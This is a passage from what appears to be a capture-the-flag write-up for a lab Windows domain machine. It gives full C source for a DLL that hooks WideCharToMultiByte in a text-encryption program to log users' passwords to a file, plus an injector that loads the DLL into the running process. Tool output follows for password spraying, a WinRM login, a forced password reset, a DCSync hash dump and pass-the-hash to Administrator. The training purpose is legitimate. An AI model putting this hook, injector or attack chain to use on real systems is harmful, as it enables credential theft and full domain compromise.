virtual memory using the WriteProcessMemory function. Finally, we call the original WideCharToMultiByte
function with all the arguments with which the application was originally accessing the function. This
ensures that the flow of the application doesn't break with our hooked function.

The full DLL:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
HMODULE hKernel32;
FARPROC WCTMBAddress;
BYTE oldBytes[5];

DWORD GetTextEncodeProcessId () {
const char* processName = "TextEncode.exe";
DWORD targetProcessId = 0;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);


PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hSnapshot, &pe32)) {
do {
if(strcmp(pe32.szExeFile, processName) == 0) {
HANDLE hSnapshot2 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32Parent;
pe32Parent.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hSnapshot2, &pe32Parent)) {
do {
if(pe32.th32ParentProcessID == pe32Parent.th32ProcessID &&
strcmp(pe32Parent.szExeFile, processName) == 0) {
targetProcessId = pe32.th32ProcessID;
break;
}
} while(Process32Next(hSnapshot2, &pe32Parent));
}
CloseHandle(hSnapshot2);
if(targetProcessId != 0) {
break;
}
}
} while(Process32Next(hSnapshot, &pe32));
}

CloseHandle(hSnapshot);

if(targetProcessId == 0) {
printf("[X] Failed to retrieve TextEncode.exe process ID.\n");
exit(-1);
}

return targetProcessId;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {


switch(fdwReason) {
case DLL_PROCESS_ATTACH:
hKernel32 = GetModuleHandleA("kernel32.dll");
WCTMBAddress = GetProcAddress(hKernel32, "WideCharToMultiByte");
memcpy(oldBytes, WCTMBAddress, 5);
break;
}
return TRUE;
}

__declspec(dllexport) void HookedWideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR


lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH
lpDefaultChar, LPBOOL lpUsedDefaultChar) {
FILE *file = _wfopen(L"C:\\Users\\rogue\\Desktop\\password.txt", L"a+");
fwprintf(file, L"%.*s", cchWideChar, lpWideCharStr);
fclose(file);
SIZE_T written;
DWORD textEncodeProcessId = GetTextEncodeProcessId();
HANDLE textEncodeProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, textEncodeProcessId);
WriteProcessMemory(textEncodeProcess, WCTMBAddress, oldBytes, sizeof(oldBytes),
&written);
WideCharToMultiByte(CodePage, dwFlags, lpWideCharStr, cchWideChar, lpMultiByteStr,
cbMultiByte, lpDefaultChar, lpUsedDefaultChar);
return;
}

Injecting the DLL into the target process


Now we can proceed to inject our DLL into the TextEncode.exe process. What we want to do is to get a
handle on the process, allocate memory in the process's virtual memory, equal to the length of the DLL path
+1 (due to the null terminator required for strings), then write the DLL path to the allocated memory.
Afterwards, we are going to inject LoadLibraryA from kernel32.dll in the remote process, and using
LoadLibraryA we are going to load our DLL by providing the address in which the DLL path string is
located.

HANDLE InjectDLL(DWORD textEncodeProcessId, const char* dllPath) {


HANDLE textEncodeProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, textEncodeProcessId);
if (textEncodeProcess == NULL) {
printf("[X] Failed to get handle for process.\n");
exit(-1);
}

LPVOID allocDllMem = VirtualAllocEx(textEncodeProcess, NULL, strlen(dllPath) + 1,


MEM_COMMIT, PAGE_READWRITE);
if (allocDllMem == NULL) {
printf("[X] Failed to allocate memory for the DLL's name in the remote
process.\n");
exit(-1);
}

BOOL writeDllMem = WriteProcessMemory(textEncodeProcess, allocDllMem, (LPVOID)dllPath,


strlen(dllPath) + 1, NULL);
if (writeDllMem == 0) {
printf("[X] Failed to write DLL name in the allocated space.\n");
exit(-1);
}

LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"),


"LoadLibraryA");
if (pLoadLibraryA == NULL) {
printf("[X] Failed to find the address of LoadLibraryA.\n");
exit(-1);
}

HANDLE hRemoteThread = CreateRemoteThread(textEncodeProcess, NULL, 0,


(LPTHREAD_START_ROUTINE)pLoadLibraryA, allocDllMem, 0, NULL);
if (hRemoteThread == NULL) {
printf("[X] Failed to load the DLL using LoadLibraryA.\n");
exit(-1);
}
WaitForSingleObject(hRemoteThread, INFINITE);

return textEncodeProcess;
}

We also return the handle to the remote process for later use. If we run the newly created function and
observe WinDbg , we can see that our DLL is successfully loaded.

Identify the address of HookedWideCharToMultiByte in memory


Before we patch the first 5 bytes of WideCharToMultiByte , we need to calculate the offset between
WideCharToMultiByte and HookedWideCharToMultiByte in memory. To do this, we first find the address
of HookedWideCharToMultiByte the same way we found WideCharToMultiByte 's address.

FARPROC GetHWCTMBAddress() {
HMODULE hHook;
FARPROC HWCTMBAddress;

hHook = LoadLibraryA("C:\\Users\\rogue\\Desktop\\hook.dll");
if (hHook == NULL) {
printf("[X] Failed to load hook.dll\n");
exit(-1);
}

HWCTMBAddress = GetProcAddress(hHook, "HookedWideCharToMultiByte");


if (HWCTMBAddress == NULL) {
printf("[X] Failed to retrieve HookedWideCharToMultiByte address\n");
exit(-1);
}
return HWCTMBAddress;
}

This time, we use LoadLibraryA to load the DLL since it is not already loaded in the process's address
space like kernel32.dll was. If we check the application's output and compare it to the address where
HookedWideCharToMultiByte resides in the virtual memory of TextEncode.exe , they match.

.\patch.exe

[-] Getting address of WideCharToMultiByte in memory.


[+] Address of WideCharToMultiByte: 7628E290
[-] Retrieving process ID of TextEncode.exe.
[+] Target process ID: 7488
[-] Attempting to inject the DLL in the TextEncode.exe process.
[+] DLL loaded.
[-] Retrieving HookedWideCharToMultiByte address in memory.
[+] Address of HookedWideCharToMultiByte: 711414A4

Calculating the offset and patching WideCharToMultiByte


We finally proceed to calculate the offset between WideCharToMultiByte and
HookedWideCharToMultiByte and patch the first 5 bytes of WideCharToMultiByte with a relative jmp .

What we want to do here is first to create the jmp instruction. For that, we will create a BYTE variable of size
5 that will hold the relative jmp instruction opcode 0xE9 , plus the offset. The offset is calculated by
subtracting the address of WideCharToMultiByte + 5 (since the relative jmp instruction takes 5 bytes of
space itself) from the address of HookedWideCharToMultiByte . Then, we write this instruction to the first 5
bytes at the address of WideCharToMultiByte in the process's virtual memory.

void PatchWideCharToMultiByte(FARPROC HWCTMBAddress, FARPROC WCTMBAddress, HANDLE


textEncodeProcess) {
BYTE jmp[5];
SIZE_T written;

intptr_t offset = (intptr_t)HWCTMBAddress - ((intptr_t)WCTMBAddress + 5);


jmp[0] = 0xE9;
*((intptr_t*)(jmp + 1)) = offset;
WriteProcessMemory(textEncodeProcess, WCTMBAddress, jmp, sizeof(jmp), &written);
if (&written == 0) {
printf("[X] Failed to patch WideCharToMultiByte");
exit(-1);
}
return;
}

If we now disassemble the WideCharToMultiByteStub function in WinDbg , we can see that the first 5 bytes
correspond to our relative jmp to the HookedWideCharToMultiByte function.
Now if we attempt to encrypt something using BCTextEncoder , a password.txt file is generated that holds
the password we provided. For this example, we gave the password roguetest .

PS C:\Users\rogue\Desktop> type password.txt

roguetest

If we disassemble the WideCharToMultiByteStub function again, we can see that the original bytes are
restored, ensuring that the application operates as expected.

The full code for patch.exe is:

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>

FARPROC WCTMBAddress;
DWORD textEncodeProcessId;
HANDLE textEncodeProcess;
FARPROC HWCTMBAddress;

FARPROC GetWCTMBAddress () {
HMODULE hKernel32;
FARPROC WCTMBAddress;

hKernel32 = GetModuleHandleA("kernel32.dll");
if(hKernel32 == NULL) {
printf("[X] Failed to load kernel32.dll");
exit(-1);
}
WCTMBAddress = GetProcAddress(hKernel32, "WideCharToMultiByte");
if(WCTMBAddress == NULL) {
printf("[X] Failed to retrieve WideCharToMultiByte address");
exit(-1);
}
return WCTMBAddress;
}

DWORD GetTextEncodeProcessId () {
const char* processName = "TextEncode.exe";
DWORD targetProcessId = 0;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);


PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hSnapshot, &pe32)) {
do {
if(strcmp(pe32.szExeFile, processName) == 0) {
HANDLE hSnapshot2 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32Parent;
pe32Parent.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hSnapshot2, &pe32Parent)) {
do {
if(pe32.th32ParentProcessID == pe32Parent.th32ProcessID &&
strcmp(pe32Parent.szExeFile, processName) == 0) {
targetProcessId = pe32.th32ProcessID;
break;
}
} while(Process32Next(hSnapshot2, &pe32Parent));
}
CloseHandle(hSnapshot2);
if(targetProcessId != 0) {
break;
}
}
} while(Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);

if(targetProcessId == 0) {
printf("[X] Failed to retrieve TextEncode.exe process ID.\n");
exit(-1);
}
return targetProcessId;
}

HANDLE InjectDLL(DWORD textEncodeProcessId, const char* dllPath){


HANDLE textEncodeProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, textEncodeProcessId );
if(textEncodeProcess == NULL) {
printf("[X] Failed to get handle for process.\n");
exit(-1);
}
LPVOID allocDllMem = VirtualAllocEx(textEncodeProcess, NULL, strlen(dllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
if (allocDllMem == NULL) {
printf("[X] Failed to allocate memory for the DLLs name in the remote
process.\n");
exit(-1);
}
BOOL writeDllMem = WriteProcessMemory(textEncodeProcess, allocDllMem, (LPVOID)dllPath,
strlen(dllPath) + 1, NULL);
if(writeDllMem == 0) {
printf("[X] Failed to write DLL name in the allocated space.\n");
exit(-1);
}
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryA");
if(pLoadLibraryA == NULL) {
printf("[X] Failed to find the address of LoadLibraryA.\n");
exit(-1);
}
HANDLE hRemoteThread = CreateRemoteThread(textEncodeProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibraryA, allocDllMem, 0, NULL);
if(hRemoteThread == NULL) {
printf("Failed to load the DLL using LoadLibraryA.\n");
exit(-1);
}
WaitForSingleObject(hRemoteThread, INFINITE);
return textEncodeProcess;
}

FARPROC GetHWCTMBAddress () {
HMODULE hHook;
FARPROC HWCTMBAddress;

hHook = LoadLibraryA("C:\\Users\\jdoe\\Desktop\\hook.dll");
if(hHook == NULL) {
printf("[X] Failed to load hook.dll");
exit(-1);
}

HWCTMBAddress = GetProcAddress(hHook, "HookedWideCharToMultiByte");


if(HWCTMBAddress == NULL) {
printf("[X] Failed to retrieve HookedWideCharToMultiByte address");
exit(-1);
}
return HWCTMBAddress;
}

void PatchWideCharToMultiByte(FARPROC HWCTMBAddress, FARPROC WCTMBAddress, HANDLE


textEncodeProcess) {
BYTE jmp[5];
SIZE_T written;

intptr_t offset = (intptr_t)HWCTMBAddress - ((intptr_t)WCTMBAddress + 5);


jmp[0] = 0xE9;
*((intptr_t*)(jmp + 1)) = offset;
WriteProcessMemory(textEncodeProcess, WCTMBAddress, jmp, sizeof(jmp), &written);
if(&written == 0) {
printf("[X] Failed to patch WideCharToMultiByte");
exit(-1);
}
return;
}

int main() {
const char* dllPath = "C:\\Users\\jdoe\\Desktop\\hook.dll";
printf("[-] Getting address of WideCharToMultiByte in memory.\n");
WCTMBAddress = GetWCTMBAddress();
printf("[+] Address of WideCharToMultiByte: %p\n", WCTMBAddress);

printf("[-] Retrieving process ID of TextEncode.exe.\n");


textEncodeProcessId = GetTextEncodeProcessId();
printf("[+] Target process ID: %i\n", textEncodeProcessId);

printf("[-] Attempting to inject the DLL in the TextEncode.exe process.\n");


textEncodeProcess = InjectDLL(textEncodeProcessId, dllPath);
printf("[+] DLL loaded.\n");

printf("[-] Retrieving HookedWideCharToMultiByte address in memory.\n");


HWCTMBAddress = GetHWCTMBAddress();
printf("[+] Address of HookedWideCharToMultiByte: %p\n", HWCTMBAddress);

printf("[-] Patching WideCharToMultiByte.\n");


PatchWideCharToMultiByte(HWCTMBAddress, WCTMBAddress, textEncodeProcess);
printf("[+] Patching Completed.");
}

Exploiting the real process and retrieving password of user wsmith


Now that our exploit is ready, with the paths of password.txt and hook.dll updated to reflect the paths
we intend to use on the remote machine ( C:\Users\jdoe\Desktop ), we recompile the exe and dll and
upload them to the remote machine. After running our patch.exe , we observe that the file password.txt
is generated, containing the password used to encrypt data through BCTextEncoder .

*Evil-WinRM* PS C:\Users\jdoe\Desktop> .\patch.exe

[-] Getting address of WideCharToMultiByte in memory.


[+] Address of WideCharToMultiByte: 763CF130
[-] Retrieving process ID of TextEncode.exe.
[+] Target process ID: 15572
[-] Attempting to inject the DLL in the TextEncode.exe process.
[+] DLL loaded.
[-] Retrieving HookedWideCharToMultiByte address in memory.
[+] Address of HookedWideCharToMultiByte: 711414A4
[-] Patching WideCharToMultiByte.
[+] Patching Completed.
*Evil-WinRM* PS C:\Users\jdoe\Desktop> type password.txt
9g2puB7mQYX$

We can now transfer the encoded.txt file we previously encountered to our Windows machine and use
this password with our downloaded BCTextEncoder to decrypt the data it holds.

The decrypted data looks like a password. We can attempt to use this password to authenticate against the
Domain Users to see if it corresponds to a user.

crackmapexec smb analysis.htb -u users.txt -p "DMrB8YUcC5%2"

SMB analysis.htb 445 DC-ANALYSIS [*] Windows 10.0 Build 17763 x64
(name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\Administrateur:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\amanson:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\badam:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\cwilliams:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\Invit‚:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\jangel:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\jdoe:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\krbtgt:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\lzen:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\soc_analyst:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-] analysis.htb\svc_web:DMrB8YUcC5%2
STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\technician:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [-]
analysis.htb\webservice:DMrB8YUcC5%2 STATUS_LOGON_FAILURE
SMB analysis.htb 445 DC-ANALYSIS [+] analysis.htb\wsmith:DMrB8YUcC5%2

The credentials belong to the user wsmith . We proceed to log in as wsmith through WinRM .

evil-winrm -u wsmith -p 'DMrB8YUcC5%2' -i analysis.htb

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint


*Evil-WinRM* PS C:\Users\wsmith\Documents> whoami
analysis\wsmith

Privilege Escalation
Now that we have access to the wsmith account, we can use the knowledge we already acquired from
BloodHound : wsmith has the ability to change passwords, including for the user soc_analyst , who has
permissions to perform DCSync against the domain—a process that allows for replicating password hashes
from the domain controller.

We start by setting the password to Password1! :

*Evil-WinRM* PS C:\Users\wsmith\Documents> $NewPassword = ConvertTo-SecureString


'Password1!' -AsPlainText -Force

*Evil-WinRM* PS C:\Users\wsmith\Documents> Set-ADAccountPassword -Identity soc_analyst -


NewPassword $NewPassword

With soc_analyst 's password reset, we can now perform DCSync to extract credentials from the domain
using the soc_analyst account. For this task, we utilize the secretsdump tool from impacket , which is
designed to extract authentication credentials such as NTLM password hashes and Kerberos tickets from
Windows networks.
impacket-secretsdump analysis.htb/soc_analyst:'Password1!'@analysis.htb

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)


[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:584d96946e4ad1ddfa4f8d7938faf91d:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8549ecd32b0253e9894a422299fe2466:::
<SNIP>

With the obtained credentials, we can log in as Administrateur using impacket-psexec (or any other
preferred method) and retrieve the root flag from the administrator's desktop.

impacket-psexec analysis.htb/Administrateur@analysis.htb -hashes


aad3b435b51404eeaad3b435b51404ee:584d96946e4ad1ddfa4f8d7938faf91d

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on analysis.htb.....


[*] Found writable share ADMIN$
[*] Uploading file aJvxNPzT.exe
[*] Opening SVCManager on analysis.htb.....
[*] Creating service mTCT on analysis.htb.....
[*] Starting service mTCT.....
[!] Press help for extra shell commands
Microsoft Windows [version 10.0.17763.5328]
(c) 2018 Microsoft Corporation. Tous droits r�serv�s.

C:\Windows\system32> whoami
analysis\Administrateur

The final flag can be found at C:\Users\Administrateur\Desktop\root.txt .

You might also like